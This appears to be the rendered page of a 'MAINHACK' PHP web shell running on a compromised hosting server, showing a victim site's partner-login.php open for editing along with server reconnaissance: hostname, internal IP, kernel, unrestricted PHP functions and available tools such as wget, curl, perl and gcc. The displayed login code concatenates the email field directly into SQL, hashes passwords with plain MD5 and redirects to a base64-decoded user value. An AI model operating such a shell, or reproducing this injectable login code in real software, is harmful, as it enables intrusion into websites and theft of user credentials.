[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: partner-login.php
<?php include("header.php"); ?> <!-- // Header include --> <!-- Inner-banner --> <div class="inner-banner"> <img src="images/inner-banner-2.png"> <div class="container"> <h1>Login</h1> </div> </div> <!-- Login --> <div class="log-in-block"> <div class="container"> <div class="log-in-box-content"> <div class="log-right"> <img src="images/login.gif"> </div> <div class="log-left"> <form method="post"> <h4>Login Form</h4> <p>Don't have an account yet <a href="sign-up.php">Sign up</a></p> <div class="fill-form"> <i class="fa-solid fa-user"></i> <input type="text" name="email" placeholder="Email"> </div> <div class="fill-form"> <i class="fa-solid fa-key"></i> <input type="password" name="password" placeholder="Password"> </div> <div class="fill-form checkbox"> <input type="checkbox" name="checkbox"> <a href="#">Remember Me</a> </div> <div class="fill-form forget"> <a href="forget.php">Forget Password</a> </div> <div class="fill-form log-in-btn"> <input type="submit" value="Login" name="login"> </div> </form> <?php if(isset($_POST['login'])){ $sq="select * from apartment where email='".$_POST['email']."' and password='".strip_tags(md5($_POST['password']))."'"; $r=$con->prepare($sq); if($r->execute()){ $num = $r->rowCount(); if($num>0){ while($row= $r->fetch(PDO::FETCH_ASSOC)) //fetching the contents of the row { extract($row); $uid=session_id(); $_SESSION['Logged'] = 1; $status=$row['status']; if($status!=='ACTIVE'){ echo"<script>alert('Your account is inactive.Contact site admin')</script>"; }else{ $_SESSION['login_user'] = $row['name']; $_SESSION['username'] = $row['email']; $_SESSION['login_id'] = $row['apartment_id']; $_SESSION['login_phone'] = $row['phone']; $_SESSION['sessionid'] = $uid; $_SESSION['type'] = $row['category']; // echo 'Success!'; if(!empty($_REQUEST['pg'])){ $location=base64_decode($_REQUEST['pg'])."&all=".$_REQUEST['all']; header("location:$location"); }else{ header("location:index.php"); } //exit(); } } }else{ echo '<script> setTimeout(function() { swal({ title: "Oops!", text: "Wrong username or password", type: "error" }, function() { window.location = ""; }); }, 1000); </script>'; } } } ?> </div> </div> </div> </div> <!-- Footer include --> <?php include("footer.php"); ?> <!-- // Footer include -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619